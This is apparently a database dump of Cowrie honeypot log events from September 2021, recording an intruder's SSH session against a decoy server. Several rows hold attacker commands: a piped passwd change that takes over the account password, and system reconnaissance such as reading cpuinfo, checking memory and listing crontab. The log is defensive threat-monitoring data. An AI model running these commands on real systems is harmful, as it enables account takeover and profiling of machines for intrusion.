33833	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:29.676692+03	2021-09-20 15:00:06.364723+03	{"_id": "_wYRA3wBvYTbRNuEfVEx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:29.676692Z", "@timestamp": "2021-09-20T11:57:29.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33834	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:30.733894+03	2021-09-20 15:00:06.365723+03	{"_id": "CwYRA3wBvYTbRNuEgVIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:30.733894Z", "@timestamp": "2021-09-20T11:57:30.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33835	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:30.734452+03	2021-09-20 15:00:06.367723+03	{"_id": "DAYRA3wBvYTbRNuEgVIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"kg123\\\\n8cXUctq6Q2bb\\\\n8cXUctq6Q2bb\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"kg123\\\\n8cXUctq6Q2bb\\\\n8cXUctq6Q2bb\\"|passwd|bash", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:30.734452Z", "@timestamp": "2021-09-20T11:57:30.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33836	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:31.362225+03	2021-09-20 15:00:06.368723+03	{"_id": "DgYRA3wBvYTbRNuEhVIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "442ba5a0b44f032843951bb149d8bbd8ea7296de22eec652028a3a36c94cb7cc", "src_ip": "203.176.71.44", "ttylog": "log/tty/442ba5a0b44f032843951bb149d8bbd8ea7296de22eec652028a3a36c94cb7cc", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/442ba5a0b44f032843951bb149d8bbd8ea7296de22eec652028a3a36c94cb7cc after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.62841796875, "duplicate": false, "timestamp": "2021-09-20T11:57:31.362225Z", "@timestamp": "2021-09-20T11:57:31.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33837	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:32.878399+03	2021-09-20 15:00:06.369722+03	{"_id": "FAYRA3wBvYTbRNuEiFLt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:32.878399Z", "@timestamp": "2021-09-20T11:57:32.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33838	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:57:33.292736+03	2021-09-20 15:00:06.370722+03	{"_id": "FgYRA3wBvYTbRNuEjFLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 11 seconds", "session": "1ee8dabc24b8", "@version": "1", "duration": 11.416033029556274, "timestamp": "2021-09-20T11:57:33.292736Z", "@timestamp": "2021-09-20T11:57:33.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33839	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:34.588828+03	2021-09-20 15:00:06.371723+03	{"_id": "GwYRA3wBvYTbRNuEkFK_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "203.176.71.44", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6291017532348633, "duplicate": true, "timestamp": "2021-09-20T11:57:34.588828Z", "@timestamp": "2021-09-20T11:57:34.588Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33840	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:35.674621+03	2021-09-20 15:00:06.372723+03	{"_id": "JAYRA3wBvYTbRNuElFKn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "203.176.71.44", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6283504962921143, "duplicate": true, "timestamp": "2021-09-20T11:57:35.674621Z", "@timestamp": "2021-09-20T11:57:35.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33841	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:31.820101+03	2021-09-20 15:00:06.374722+03	{"_id": "EAYRA3wBvYTbRNuEhVIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"kg123\\\\n8cXUctq6Q2bb\\\\n8cXUctq6Q2bb\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: echo \\"kg123\\\\n8cXUctq6Q2bb\\\\n8cXUctq6Q2bb\\\\n\\"|passwd", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:31.820101Z", "@timestamp": "2021-09-20T11:57:31.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33842	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:32.878947+03	2021-09-20 15:00:06.375723+03	{"_id": "EwYRA3wBvYTbRNuEiFLt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:32.878947Z", "@timestamp": "2021-09-20T11:57:32.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33843	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:32.447273+03	2021-09-20 15:00:06.376724+03	{"_id": "EgYRA3wBvYTbRNuEiFLt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "b1262071772378f144b7bc604518825d3d42b9b0f2bb8b375daaa3c7456d32dd", "src_ip": "203.176.71.44", "ttylog": "log/tty/b1262071772378f144b7bc604518825d3d42b9b0f2bb8b375daaa3c7456d32dd", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/b1262071772378f144b7bc604518825d3d42b9b0f2bb8b375daaa3c7456d32dd after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6278176307678223, "duplicate": false, "timestamp": "2021-09-20T11:57:32.447273Z", "@timestamp": "2021-09-20T11:57:32.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33844	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:33.960365+03	2021-09-20 15:00:06.377722+03	{"_id": "FQYRA3wBvYTbRNuEjFLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:33.960365Z", "@timestamp": "2021-09-20T11:57:33.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33845	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:35.047384+03	2021-09-20 15:00:06.379722+03	{"_id": "HAYRA3wBvYTbRNuEkFK_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:35.047384Z", "@timestamp": "2021-09-20T11:57:35.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33846	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:35.046889+03	2021-09-20 15:00:06.380722+03	{"_id": "GgYRA3wBvYTbRNuEkFK_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:35.046889Z", "@timestamp": "2021-09-20T11:57:35.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33847	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:36.079933+03	2021-09-20 15:00:06.381723+03	{"_id": "JQYRA3wBvYTbRNuElFKo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:36.079933Z", "@timestamp": "2021-09-20T11:57:36.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33848	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:36.080482+03	2021-09-20 15:00:06.382723+03	{"_id": "JgYRA3wBvYTbRNuElFKo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:36.080482Z", "@timestamp": "2021-09-20T11:57:36.080Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33849	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:36.707083+03	2021-09-20 15:00:06.383723+03	{"_id": "JwYRA3wBvYTbRNuEmFKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 18, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "203.176.71.44", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6272618770599365, "duplicate": true, "timestamp": "2021-09-20T11:57:36.707083Z", "@timestamp": "2021-09-20T11:57:36.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33850	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:38.18933+03	2021-09-20 15:00:06.384722+03	{"_id": "KwYRA3wBvYTbRNuEnFJ5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:38.189330Z", "@timestamp": "2021-09-20T11:57:38.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33851	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:37.753621+03	2021-09-20 15:00:06.385723+03	{"_id": "KgYRA3wBvYTbRNuEnFJ5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "203.176.71.44", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6277859210968018, "duplicate": true, "timestamp": "2021-09-20T11:57:37.753621Z", "@timestamp": "2021-09-20T11:57:37.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33852	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:38.816736+03	2021-09-20 15:00:06.386722+03	{"_id": "LgYRA3wBvYTbRNuEoFJg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "203.176.71.44", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6280720233917236, "duplicate": true, "timestamp": "2021-09-20T11:57:38.816736Z", "@timestamp": "2021-09-20T11:57:38.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33853	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:39.895828+03	2021-09-20 15:00:06.387721+03	{"_id": "LwYRA3wBvYTbRNuEpFJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "203.176.71.44", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6286404132843018, "duplicate": true, "timestamp": "2021-09-20T11:57:39.895828Z", "@timestamp": "2021-09-20T11:57:39.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33860	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:39.267272+03	2021-09-20 15:00:06.396722+03	{"_id": "MAYRA3wBvYTbRNuEpFJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:39.267272Z", "@timestamp": "2021-09-20T11:57:39.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33854	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:39.26782+03	2021-09-20 15:00:06.388722+03	{"_id": "MQYRA3wBvYTbRNuEpFJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:39.267820Z", "@timestamp": "2021-09-20T11:57:39.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
